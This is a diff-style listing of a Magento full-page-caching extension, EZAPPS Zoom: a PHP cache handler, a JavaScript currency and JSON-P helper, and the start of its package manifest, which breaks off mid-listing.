|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* EZAPPS Zoom Handler
|
4 |
+
*
|
5 |
+
* @category Ezapps
|
6 |
+
* @package Ezapps_Zoom
|
7 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
8 |
+
* @license: EPL 1.0
|
9 |
+
*/
|
10 |
+
|
11 |
+
class Ezapps_Zoom_Handler
|
12 |
+
{
|
13 |
+
|
14 |
+
private static $instance;
|
15 |
+
private static $ZOOM_ROOT;
|
16 |
+
private static $SERVER;
|
17 |
+
private static $REQUEST;
|
18 |
+
private static $AGENT;
|
19 |
+
private static $GET_POSTFIX;
|
20 |
+
private static $base_uri;
|
21 |
+
private static $_start;
|
22 |
+
|
23 |
+
const DS = DIRECTORY_SEPARATOR;
|
24 |
+
|
25 |
+
private static $ZOOM_INDEX = 'ZOOM_INDEX';
|
26 |
+
private static $GET_STEM = 'zoom_';
|
27 |
+
private static $APC_KEY = 'ZOOM';
|
28 |
+
private static $ZOOM_CLIENT_DATA = 'ZOOM_CLIENT_MATCH_DATA';
|
29 |
+
private static $HOLE_START = '<span id="hole-';
|
30 |
+
private static $HOLE_END_PRE = '-pre"></span>';
|
31 |
+
private static $HOLE_END_POST = '-post"></span>';
|
32 |
+
private static $TAG_START = '<span id="ezzoom-ajax-footer-pre"></span>';
|
33 |
+
private static $TAG_END = '<span id="ezzoom-ajax-footer-post"></span>';
|
34 |
+
private static $TAG_START_CURRENCY = '<span id="ezzoom-ajax-footer-currency-pre"></span>';
|
35 |
+
private static $TAG_END_CURRENCY = '<span id="ezzoom-ajax-footer-currency-post"></span>';
|
36 |
+
private static $TAG_PAGE = '{{ezzoom-page-id}}';
|
37 |
+
private static $TAG_FILE = '{{ezzoom-file}}';
|
38 |
+
private static $GET_URI_MARK = '/zget/';
|
39 |
+
private static $STORE = '';
|
40 |
+
private static $DEFAULT_FILL = array();
|
41 |
+
|
42 |
+
private static $_no_client_data_found = false;
|
43 |
+
|
44 |
+
function __construct() {
|
45 |
+
|
46 |
+
self::$ZOOM_ROOT = 'var' . DIRECTORY_SEPARATOR . 'zoom';
|
47 |
+
self::$SERVER = $_SERVER["SERVER_NAME"];
|
48 |
+
self::$REQUEST = $_SERVER["REQUEST_URI"];
|
49 |
+
self::$AGENT = (in_array("HTTP_USER_AGENT", $_SERVER) ? $_SERVER["HTTP_USER_AGENT"] : '');
|
50 |
+
self::$_start = microtime(true);
|
51 |
+
self::$GET_POSTFIX = str_replace('/', self::DS, self::$GET_URI_MARK);
|
52 |
+
self::$STORE = (array_key_exists('store', $_COOKIE) ? $_COOKIE['store'] : $_SERVER['MAGE_RUN_CODE']);
|
53 |
+
if (self::$STORE == '')
|
54 |
+
self::$STORE = 'default';
|
55 |
+
|
56 |
+
$url = parse_url(self::$REQUEST);
|
57 |
+
$test = explode("/", $url['path']);
|
58 |
+
if ($test[(count($test) - 1)] == "")
|
59 |
+
self::$base_uri = $url['path'] . self::$ZOOM_INDEX;
|
60 |
+
else
|
61 |
+
self::$base_uri = $url['path'];
|
62 |
+
|
63 |
+
// Customize for stores if default fill is desired
|
64 |
+
/*self::$DEFAULT_FILL['default']['links'] = '<ul class="links">' .
|
65 |
+
'<li class="first"><a href="{{secure_url}}customer/account/" title="My Account">My Account</a></li>' .
|
66 |
+
' <li><a href="{{secure_url}}wishlist/" title="My Wishlist">My Wishlist</a></li>' .
|
67 |
+
' <li><a href="{{unsecure_url}}checkout/cart/" title="My Cart" class="top-link-cart">My Cart</a></li>' .
|
68 |
+
' <li><a href="{{secure_url}}checkout/" title="Checkout" class="top-link-checkout">Checkout</a></li>' .
|
69 |
+
' <li class=" last"><a href="{{secure_url}}customer/account/login/" title="Log In">Log In</a></li>' .
|
70 |
+
'</ul>';
|
71 |
+
|
72 |
+
self::$DEFAULT_FILL['default']['cart'] = '<a href="{{unsecure_url}}checkout/cart/">0 items in your cart</a>';*/
|
73 |
+
|
74 |
+
|
75 |
+
|
76 |
+
}
|
77 |
+
|
78 |
+
public function getVars() {
|
79 |
+
return array(
|
80 |
+
'ZOOM_CLIENT_MATCH_DATA' => self::$ZOOM_CLIENT_DATA,
|
81 |
+
'ZOOM_ROOT' => self::$ZOOM_ROOT,
|
82 |
+
'SERVER' => self::$SERVER,
|
83 |
+
'REQUEST' => self::$REQUEST,
|
84 |
+
'AGENT' => self::$AGENT,
|
85 |
+
'APC_KEY' => self::$APC_KEY,
|
86 |
+
'base_uri' => self::$base_uri,
|
87 |
+
'ZOOM_INDEX' => self::$ZOOM_INDEX,
|
88 |
+
'HOLE_START' => self::$HOLE_START,
|
89 |
+
'HOLE_END_PRE' => self::$HOLE_END_PRE,
|
90 |
+
'HOLE_END_POST' => self::$HOLE_END_POST,
|
91 |
+
'GET_STEM' => self::$GET_STEM,
|
92 |
+
'TAG_START' => self::$TAG_START,
|
93 |
+
'TAG_END' => self::$TAG_END,
|
94 |
+
'TAG_START_CURRENCY' => self::$TAG_START_CURRENCY,
|
95 |
+
'TAG_END_CURRENCY' => self::$TAG_END_CURRENCY,
|
96 |
+
'TAG_PAGE' => self::$TAG_PAGE,
|
97 |
+
'TAG_FILE' => self::$TAG_FILE,
|
98 |
+
'GET_POSTFIX' => self::$GET_POSTFIX,
|
99 |
+
'GET_URI_MARK' => self::$GET_URI_MARK,
|
100 |
+
'STORE' => self::$STORE,
|
101 |
+
'DEFAULT_FILL' => self::$DEFAULT_FILL,
|
102 |
+
);
|
103 |
+
}
|
104 |
+
|
105 |
+
public static function getInstance() {
|
106 |
+
|
107 |
+
if(!self::$instance) {
|
108 |
+
self::$instance = new self();
|
109 |
+
}
|
110 |
+
|
111 |
+
return self::$instance;
|
112 |
+
}
|
113 |
+
|
114 |
+
public static function tryRetrieveCacheFile() {
|
115 |
+
|
116 |
+
$test_for_rewrites = explode(self::$GET_URI_MARK, self::$base_uri);
|
117 |
+
|
118 |
+
if (array_key_exists(1, $test_for_rewrites)) {
|
119 |
+
self::$base_uri = $test_for_rewrites[0];
|
120 |
+
$_SERVER["REQUEST_URI"] = $test_for_rewrites[0];
|
121 |
+
$args = explode("/", $test_for_rewrites[1]);
|
122 |
+
for ($i = 0; $i < count($args); $i=$i+2)
|
123 |
+
$_GET[$args[$i]] = $args[$i+1];
|
124 |
+
}
|
125 |
+
|
126 |
+
$client_matches = null;
|
127 |
+
|
128 |
+
$zoom_package = '';
|
129 |
+
$zoom_template = '';
|
130 |
+
$zoom_theme = '';
|
131 |
+
$apc_grab = true;
|
132 |
+
|
133 |
+
if (function_exists('apc_fetch')) {
|
134 |
+
$apckey = self::$APC_KEY . self::DS . self::$STORE . self::DS . self::$ZOOM_CLIENT_DATA;
|
135 |
+
if (apc_exists($apckey))
|
136 |
+
$client_matches = apc_fetch($apckey);
|
137 |
+
|
138 |
+
if (is_null($client_matches))
|
139 |
+
$apc_grab = false;
|
140 |
+
}
|
141 |
+
|
142 |
+
if (is_null($client_matches)) {
|
143 |
+
|
144 |
+
$zoom_client_file = self::$ZOOM_ROOT . self::DS . self::$STORE . self::DS . self::$ZOOM_CLIENT_DATA;
|
145 |
+
|
146 |
+
if (file_exists($zoom_client_file)) {
|
147 |
+
|
148 |
+
$client_matches = json_decode(file_get_contents($zoom_client_file), true);
|
149 |
+
if ($apc_grab != true)
|
150 |
+
apc_add($apckey, $client_matches);
|
151 |
+
}
|
152 |
+
}
|
153 |
+
|
154 |
+
if ($client_matches) {
|
155 |
+
$zoom_package = self::checkClient($client_matches['package']);
|
156 |
+
$zoom_template = self::checkClient($client_matches['template']);
|
157 |
+
$zoom_theme = self::checkClient($client_matches['theme']);
|
158 |
+
|
159 |
+
if ($zoom_package != '' || $zoom_template != '' || $zoom_theme != '') {
|
160 |
+
$file_to_check = self::$ZOOM_ROOT . self::DS . self::$STORE .
|
161 |
+
self::DS . ($zoom_package != '' ? $zoom_package : 'default') .
|
162 |
+
self::DS . ($zoom_template != '' ? $zoom_template : 'default') .
|
163 |
+
self::DS . ($zoom_theme != '' ? $zoom_theme : 'default') .
|
164 |
+
self::$base_uri;
|
165 |
+
} else $file_to_check = self::$ZOOM_ROOT . self::DS . self::$STORE . self::$base_uri;
|
166 |
+
|
167 |
+
} else {
|
168 |
+
|
169 |
+
self::$_no_client_data_found = true;
|
170 |
+
return;
|
171 |
+
}
|
172 |
+
|
173 |
+
$params = array();
|
174 |
+
$files = array();
|
175 |
+
|
176 |
+
list($page_name) = array_keys($client_matches['controls']['page']);
|
177 |
+
|
178 |
+
$p_track = 0;
|
179 |
+
|
180 |
+
foreach ($client_matches['controls']['control'] as $key => $value)
|
181 |
+
if (array_key_exists($key, $_GET))
|
182 |
+
$params[$key] = $_GET[$key];
|
183 |
+
else if (array_key_exists(self::$GET_STEM . $key, $_COOKIE))
|
184 |
+
$params[$key] = $_COOKIE[self::$GET_STEM . $key];
|
185 |
+
|
186 |
+
if (count($params) > 0) {
|
187 |
+
foreach ($client_matches['controls']['filters'] as $key => $value)
|
188 |
+
if (array_key_exists($key, $_GET))
|
189 |
+
$params[$key] = urlencode($_GET[$key]);
|
190 |
+
if (array_key_exists($page_name, $_GET)) {
|
191 |
+
$page = array($page_name => $_GET[$page_name]);
|
192 |
+
$files[] = self::paramsToFile(array_merge($page, $params), $file_to_check);
|
193 |
+
} else $files[] = self::paramsToFile(array_merge(array($page_name => 1), $params), $file_to_check);
|
194 |
+
|
195 |
+
} else if (array_key_exists($page_name, $_GET))
|
196 |
+
$files[] = self::paramsToFile(array($page_name => $_GET[$page_name]), $file_to_check);
|
197 |
+
else {
|
198 |
+
$files[] = self::paramsToFile(array($page_name => 1), $file_to_check);
|
199 |
+
}
|
200 |
+
|
201 |
+
$page = false;
|
202 |
+
|
203 |
+
|
204 |
+
$files[] = $file_to_check;
|
205 |
+
|
206 |
+
if (preg_match('/MSIE [1-6]/i',self::$AGENT)) $gzip = false; else $gzip = true;
|
207 |
+
foreach ($files as $attempt) {
|
208 |
+
|
209 |
+
if ($gzip && file_exists($attempt . ".gz"))
|
210 |
+
$page = file_get_contents($attempt . ".gz");
|
211 |
+
else if (file_exists($attempt))
|
212 |
+
$page = file_get_contents($attempt);
|
213 |
+
|
214 |
+
if ($page != false)
|
215 |
+
break;
|
216 |
+
}
|
217 |
+
|
218 |
+
if ($page != false) {
|
219 |
+
if (bin2hex(substr($page,0,2)) == '1f8b' ) {
|
220 |
+
if(count(ob_list_handlers()) > 0)
|
221 |
+
ob_end_clean();
|
222 |
+
header("X-Compression: gzip");
|
223 |
+
header("Content-Encoding: gzip");
|
224 |
+
}
|
225 |
+
|
226 |
+
echo $page;
|
227 |
+
exit();
|
228 |
+
}
|
229 |
+
|
230 |
+
return;
|
231 |
+
|
232 |
+
}
|
233 |
+
|
234 |
+
private function paramsToFile($params, $uri) {
|
235 |
+
|
236 |
+
if (count($params) > 0) {
|
237 |
+
|
238 |
+
$uri .= self::$GET_POSTFIX;
|
239 |
+
|
240 |
+
foreach ($params as $key => $value) {
|
241 |
+
$uri .= self::DS . $key;
|
242 |
+
$uri .= self::DS . $value;
|
243 |
+
}
|
244 |
+
|
245 |
+
$uri .= self::DS . self::$ZOOM_INDEX;
|
246 |
+
|
247 |
+
return str_replace(self::DS . self::DS, self::DS, $uri);
|
248 |
+
|
249 |
+
|
250 |
+
} else return array();
|
251 |
+
|
252 |
+
}
|
253 |
+
|
254 |
+
public static function punchHoles($buffer) {
|
255 |
+
|
256 |
+
if (class_exists('Mage')) {
|
257 |
+
|
258 |
+
$modules = (array)Mage::getConfig()->getNode('modules')->children();
|
259 |
+
if (array_key_exists('Ezapps_Zoom', $modules) && $modules['Ezapps_Zoom']->is('active') ) {
|
260 |
+
|
261 |
+
if (self::$_no_client_data_found != false) {
|
262 |
+
|
263 |
+
Mage::helper('ezzoom')->generateClientRewrites();
|
264 |
+
|
265 |
+
} else if (Mage::helper('ezzoom')->matchedPage() == true) {
|
266 |
+
|
267 |
+
$start = self::$TAG_START_CURRENCY;
|
268 |
+
$end = self::$TAG_END_CURRENCY;
|
269 |
+
$starta = self::$TAG_START;
|
270 |
+
$enda = self::$TAG_END;
|
271 |
+
$search = array("#{$starta}#sU", "#{$enda}#sU", "#{$start}(.*){$end}#sU");
|
272 |
+
$replace = array('', '', '');
|
273 |
+
|
274 |
+
$punched_file = Mage::helper('ezzoom')->punchHoles(preg_replace($search, $replace, $buffer));
|
275 |
+
|
276 |
+
$id = Mage::helper('ezzoom')->saveFile(self::$base_uri, $punched_file);
|
277 |
+
}
|
278 |
+
|
279 |
+
Mage::helper('ezzoom')->setRenderTime(microtime(true) - self::$_start);
|
280 |
+
|
281 |
+
$start = self::$TAG_START;
|
282 |
+
$end = self::$TAG_END;
|
283 |
+
|
284 |
+
return preg_replace("#$start(.*)$end#sU", '', Mage::helper('ezzoom')->renderHeaderDebug($buffer));
|
285 |
+
}
|
286 |
+
}
|
287 |
+
return $buffer;
|
288 |
+
|
289 |
+
}
|
290 |
+
|
291 |
+
public static function startBuffer() {
|
292 |
+
ob_start(array(get_class(self::getInstance()), 'punchHoles'));
|
293 |
+
}
|
294 |
+
|
295 |
+
private static function checkClient($regex) {
|
296 |
+
|
297 |
+
if (!$regex)
|
298 |
+
return '';
|
299 |
+
|
300 |
+
$rules = @unserialize($regex);
|
301 |
+
|
302 |
+
if (empty($rules))
|
303 |
+
return '';
|
304 |
+
|
305 |
+
foreach ($rules as $rule) {
|
306 |
+
$regexp = '#' . trim($rule['regexp'], '#') . '#';
|
307 |
+
if (@preg_match($regexp, self::$AGENT))
|
308 |
+
return $rule['value'];
|
309 |
+
|
310 |
+
}
|
311 |
+
|
312 |
+
}
|
313 |
+
|
314 |
+
}
|
315 |
+
|
316 |
+
$zoom_controller = Ezapps_Zoom_Handler::getInstance();
|
317 |
+
|
318 |
+
if (!(array_key_exists('___store', $_GET) && array_key_exists('___from_store', $_GET))) {
|
319 |
+
if (!(array_key_exists('is_ajax', $_GET) || array_key_exists('ajax', $_GET) || array_key_exists('is_ajax', $_POST) || array_key_exists('ajax', $_POST))) {
|
320 |
+
|
321 |
+
$zoom_controller->tryRetrieveCacheFile();
|
322 |
+
|
323 |
+
$zoom_controller->startBuffer();
|
324 |
+
}
|
325 |
+
}
|
326 |
+
|
327 |
+
?>
|
js/ezapps/ezzoom.js
ADDED
@@ -0,0 +1,215 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
var conversionRate = 1.0;
|
2 |
+
|
3 |
+
function convertFromJson(json) {
|
4 |
+
|
5 |
+
var re = new RegExp("[^0-9\\" + json.format.decimalSymbol + "]","g");
|
6 |
+
|
7 |
+
$$('span.price').each(function(item) {
|
8 |
+
item.innerHTML = formatCurrency(item.innerHTML.replace(re, '') * json.conversionRate, json.format );
|
9 |
+
});
|
10 |
+
|
11 |
+
conversionRate = json.conversionRate;
|
12 |
+
|
13 |
+
if(typeof optionsPrice!='undefined') {
|
14 |
+
|
15 |
+
optionsPrice.priceTemplate = new Template(json.userTemplate);
|
16 |
+
optionsPrice.priceFormat = json.format;
|
17 |
+
optionsPrice.formatPrice = function (price) {
|
18 |
+
return formatCurrency(price * conversionRate, this.priceFormat);
|
19 |
+
}
|
20 |
+
|
21 |
+
}
|
22 |
+
|
23 |
+
if(typeof spConfig!= 'undefined') {
|
24 |
+
|
25 |
+
spConfig.priceTemplate = new Template(json.userTemplate);
|
26 |
+
|
27 |
+
spConfig.formatPrice = function (price, showSign) {
|
28 |
+
var str = '';
|
29 |
+
price = parseFloat(price) * conversionRate;
|
30 |
+
if (showSign) {
|
31 |
+
if (price < 0) {
|
32 |
+
str += '-';
|
33 |
+
price = -price;
|
34 |
+
} else {
|
35 |
+
str += '+';
|
36 |
+
}
|
37 |
+
}
|
38 |
+
var roundedPrice = (Math.round(price * 100) / 100).toString();
|
39 |
+
if (this.prices && this.prices[roundedPrice]) {
|
40 |
+
str += this.prices[roundedPrice];
|
41 |
+
} else {
|
42 |
+
str += this.priceTemplate.evaluate({
|
43 |
+
price: price.toFixed(2)
|
44 |
+
});
|
45 |
+
}
|
46 |
+
return str;
|
47 |
+
}
|
48 |
+
|
49 |
+
$$('.super-attribute-select').each(function (element) {
|
50 |
+
spConfig.configureElement(element);
|
51 |
+
});
|
52 |
+
}
|
53 |
+
|
54 |
+
|
55 |
+
if (typeof checkout != 'undefined') {
|
56 |
+
|
57 |
+
checkout.gotoSection = function(section)
|
58 |
+
{
|
59 |
+
section = $('opc-'+section);
|
60 |
+
section.addClassName('allow');
|
61 |
+
this.accordion.openSection(section);
|
62 |
+
|
63 |
+
var re = new RegExp("[^0-9\\" + json.format.decimalSymbol + "]","g");
|
64 |
+
$$('span.price').each(function(item) {
|
65 |
+
item.innerHTML = formatCurrency(item.innerHTML.replace(re, '') * json.conversionRate, json.format );
|
66 |
+
});
|
67 |
+
|
68 |
+
}
|
69 |
+
}
|
70 |
+
|
71 |
+
}
|
72 |
+
|
73 |
+
/* JSON-P implementation for Prototype.js somewhat by Dan Dean (http://www.dandean.com)
|
74 |
+
*
|
75 |
+
* *HEAVILY* based on Tobie Langel's version: http://gist.github.com/145466.
|
76 |
+
* Might as well just call this an iteration.
|
77 |
+
*
|
78 |
+
* This version introduces:
|
79 |
+
* - Support for predefined callbacks (Necessary for OAuth signed requests, by @rboyce)
|
80 |
+
* - Partial integration with Ajax.Responders (Thanks to @sr3d for the kick in this direction)
|
81 |
+
* - Compatibility with Prototype 1.7 (Thanks to @soung3 for the bug report)
|
82 |
+
* - Will not break if page lacks a <head> element
|
83 |
+
*
|
84 |
+
* See examples in README for usage
|
85 |
+
*
|
86 |
+
* VERSION 1.1.2
|
87 |
+
*
|
88 |
+
* new Ajax.JSONRequest(url, options);
|
89 |
+
* - url (String): JSON-P endpoint url.
|
90 |
+
* - options (Object): Configuration options for the request.
|
91 |
+
*/
|
92 |
+
Ajax.JSONRequest = Class.create(Ajax.Base, (function() {
|
93 |
+
var id = 0, head = document.getElementsByTagName('head')[0] || document.body;
|
94 |
+
return {
|
95 |
+
initialize: function($super, url, options) {
|
96 |
+
$super(options);
|
97 |
+
this.options.url = url;
|
98 |
+
this.options.callbackParamName = this.options.callbackParamName || 'callback';
|
99 |
+
this.options.timeout = this.options.timeout || 10; // Default timeout: 10 seconds
|
100 |
+
this.options.invokeImmediately = (!Object.isUndefined(this.options.invokeImmediately)) ? this.options.invokeImmediately : true ;
|
101 |
+
|
102 |
+
if (!Object.isUndefined(this.options.parameters) && Object.isString(this.options.parameters)) {
|
103 |
+
this.options.parameters = this.options.parameters.toQueryParams();
|
104 |
+
}
|
105 |
+
|
106 |
+
if (this.options.invokeImmediately) {
|
107 |
+
this.request();
|
108 |
+
}
|
109 |
+
},
|
110 |
+
|
111 |
+
/**
|
112 |
+
* Ajax.JSONRequest#_cleanup() -> undefined
|
113 |
+
* Cleans up after the request
|
114 |
+
**/
|
115 |
+
_cleanup: function() {
|
116 |
+
if (this.timeout) {
|
117 |
+
clearTimeout(this.timeout);
|
118 |
+
this.timeout = null;
|
119 |
+
}
|
120 |
+
if (this.transport && Object.isElement(this.transport)) {
|
121 |
+
this.transport.remove();
|
122 |
+
this.transport = null;
|
123 |
+
}
|
124 |
+
},
|
125 |
+
|
126 |
+
/**
|
127 |
+
* Ajax.JSONRequest#request() -> undefined
|
128 |
+
* Invokes the JSON-P request lifecycle
|
129 |
+
**/
|
130 |
+
request: function() {
|
131 |
+
|
132 |
+
// Define local vars
|
133 |
+
var response = new Ajax.JSONResponse(this);
|
134 |
+
var key = this.options.callbackParamName,
|
135 |
+
name = '_prototypeJSONPCallback_' + (id++),
|
136 |
+
complete = function() {
|
137 |
+
if (Object.isFunction(this.options.onComplete)) {
|
138 |
+
this.options.onComplete.call(this, response);
|
139 |
+
}
|
140 |
+
Ajax.Responders.dispatch('onComplete', this, response);
|
141 |
+
}.bind(this);
|
142 |
+
|
143 |
+
// If the callback parameter is already defined, use that
|
144 |
+
if (this.options.parameters[key] !== undefined) {
|
145 |
+
name = this.options.parameters[key];
|
146 |
+
}
|
147 |
+
// Otherwise, add callback as a parameter
|
148 |
+
else {
|
149 |
+
this.options.parameters[key] = name;
|
150 |
+
}
|
151 |
+
|
152 |
+
// Build request URL
|
153 |
+
this.options.parameters[key] = name;
|
154 |
+
var url = this.options.url + ((this.options.url.include('?') ? '&' : '?') + Object.toQueryString(this.options.parameters));
|
155 |
+
|
156 |
+
// Define callback function
|
157 |
+
window[name] = function(json) {
|
158 |
+
this._cleanup(); // Garbage collection
|
159 |
+
window[name] = undefined;
|
160 |
+
|
161 |
+
response.status = 200;
|
162 |
+
response.statusText = "OK";
|
163 |
+
response.setResponseContent(json);
|
164 |
+
|
165 |
+
if (Object.isFunction(this.options.onSuccess)) {
|
166 |
+
this.options.onSuccess.call(this, response);
|
167 |
+
}
|
168 |
+
Ajax.Responders.dispatch('onSuccess', this, response);
|
169 |
+
|
170 |
+
complete();
|
171 |
+
|
172 |
+
}.bind(this);
|
173 |
+
|
174 |
+
this.transport = new Element('script', { type: 'text/javascript', src: url });
|
175 |
+
|
176 |
+
if (Object.isFunction(this.options.onCreate)) {
|
177 |
+
this.options.onCreate.call(this, response);
|
178 |
+
}
|
179 |
+
Ajax.Responders.dispatch('onCreate', this);
|
180 |
+
|
181 |
+
head.appendChild(this.transport);
|
182 |
+
|
183 |
+
this.timeout = setTimeout(function() {
|
184 |
+
this._cleanup();
|
185 |
+
window[name] = Prototype.emptyFunction;
|
186 |
+
if (Object.isFunction(this.options.onFailure)) {
|
187 |
+
response.status = 504;
|
188 |
+
response.statusText = "Gateway Timeout";
|
189 |
+
this.options.onFailure.call(this, response);
|
190 |
+
}
|
191 |
+
complete();
|
192 |
+
}.bind(this), this.options.timeout * 1000);
|
193 |
+
},
|
194 |
+
toString: function() { return "[object Ajax.JSONRequest]"; }
|
195 |
+
};
|
196 |
+
})());
|
197 |
+
|
198 |
+
Ajax.JSONResponse = Class.create({
|
199 |
+
initialize: function(request) {
|
200 |
+
this.request = request;
|
201 |
+
},
|
202 |
+
request: undefined,
|
203 |
+
status: 0,
|
204 |
+
statusText: '',
|
205 |
+
responseJSON: undefined,
|
206 |
+
responseText: undefined,
|
207 |
+
setResponseContent: function(json) {
|
208 |
+
this.responseJSON = json;
|
209 |
+
this.responseText = Object.toJSON(json);
|
210 |
+
},
|
211 |
+
getTransport: function() {
|
212 |
+
if (this.request) return this.request.transport;
|
213 |
+
},
|
214 |
+
toString: function() { return "[object Ajax.JSONResponse]"; }
|
215 |
+
});
|
package.xml
ADDED
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<package>
|
3 |
+
<name>ezzoom</name>
|
4 |
+
<version>1.0.1</version>
|
5 |
+
<stability>stable</stability>
|
6 |
+
<license uri="http://www.eclipse.org/legal/epl-v10.html">EPL</license>
|
7 |
+
<channel>community</channel>
|
8 |
+
<extends/>
|
9 |
+
<summary>A feature-rich full-page caching system (FPC) with hole-punching, versatile controls and loaded with features.</summary>
|
10 |
+
<description>Now you can unlock the potential of the Magento e-Commerce Platform with EZAPPS Zoom. This highly customizable full page caching (FPC) system strives to be the final cache product that you will ever need to grow your sales without infinitely growing your server budget. Pages only have to generate a single time before they will be served up as if they were text documents.</description>
|
11 |
+
<notes>Please follow installation directions carefully</notes>
|
12 |
+
<authors><author><name>Ezra Morse</name><user>auto-converted</user><email>ezapps.software@gmail.com</email></author></authors>
|
13 |
+
<date>2012-03-31</date>
|
14 |
+
<time>00:02:17</time>
|
15 |
+
<contents><target name="magelocal"><dir name="Ezapps"><dir name="Zoom"><dir name="Block"><dir name="Adminhtml"><dir name="Dashboard"><dir name="Tab"><file name="Zoom.php" hash="c32addff4c2fd2a2df7e050c7e05fb5f"/></dir></dir><dir name="Form"><dir name="Field"><file name="Get.php" hash="002af683dfa68c3d3b56ccb9af46788c"/><file name="Regex.php" hash="f09c06912914cae61250bd46a0e880fb"/></dir></dir><dir name="Page"><file name="Grid.php" hash="b5b402c8fbb2bc483c78298561e95c55"/></dir><file name="Page.php" hash="bc75dcc060c6e56d659975118bc8a5ab"/></dir><dir name="Ajax"><file name="Footer.php" hash="0c88a876db91166ea8eee76885c6b9dd"/></dir><dir name="Wrapper"><file name="Cart.php" hash="9c3873ffd6a894a5a3d93b1cab9cce69"/><file name="Compare.php" hash="1941899975dcee55bdcd381f49ff3140"/><file name="Compared.php" hash="122ab287e12f8ab1473150cb4f6037f3"/><file name="Currency.php" hash="96c85022eaa3f5e395a5869e7fbbdde7"/><file name="Header.php" hash="f048719abfc39335b4f3379b2bfc2216"/><file name="Links.php" hash="119ae74592b98547a98b6b1a4872cfba"/><file name="Messages.php" hash="3b0a40e6d3a4601f9df67ee7d8b5cddd"/><file name="Notices.php" hash="6f53b7aa17d1c83a670d852ce6830aad"/><file name="Poll.php" hash="5e9d25dd1aacfcda04efbb9479d7572d"/><file name="Reorder.php" hash="ab69d47477eda3e56daa974bea467b8b"/><file name="Viewed.php" hash="d0da5654c926dd541676ca700e9224f4"/><file name="Wishlist.php" hash="e034784388774f774ff9fa2304def913"/></dir><file name="Toolbar.php" hash="64d2b4c473ca6870700de551dd2d0c8b"/></dir><dir name="Helper"><file name="Data.php" hash="adf861d48277b003b5f0e6a52b383a43"/></dir><dir name="Model"><dir name="Mysql4"><dir name="Page"><file name="Collection.php" hash="d3d773e8c27ddc60c63cbe12f7360338"/></dir><file name="Page.php" hash="e03a3ce511572bd18d9aed788890aef1"/></dir><dir name="System"><dir name="Config"><dir name="Backend"><file name="Gzip.php" hash="e52a71ef83d6972248649aa9b827e06f"/><file name="Link.php" hash="4b003f2dc2135d5b09be5054d80b39bc"/><file name="Punch.php" hash="4b31e154673337cc3281338b213274b7"/></dir></dir></dir><file name="Cron.php" hash="17c8e5b1959ca4c097e763c0145e76d3"/><file name="Observer.php" hash="702f19d34cf32beba15e3331239e50e7"/><file name="Page.php" hash="a0f5cb3cd4549707dc7003fe5318317e"/><file name="Url.php" hash="4986c44facb989930f82131f99f8414f"/></dir><dir name="controllers"><dir name="Adminhtml"><file name="EzzoomController.php" hash="5c81b2176a51e988ec936f08df519e54"/></dir><file name="CurrencyController.php" hash="68ac362c5c1e8f3f2c925f872e19096e"/><file name="HoleController.php" hash="3c8f8a6134def974717571f5eaa35d32"/></dir><dir name="etc"><file name="config.xml" 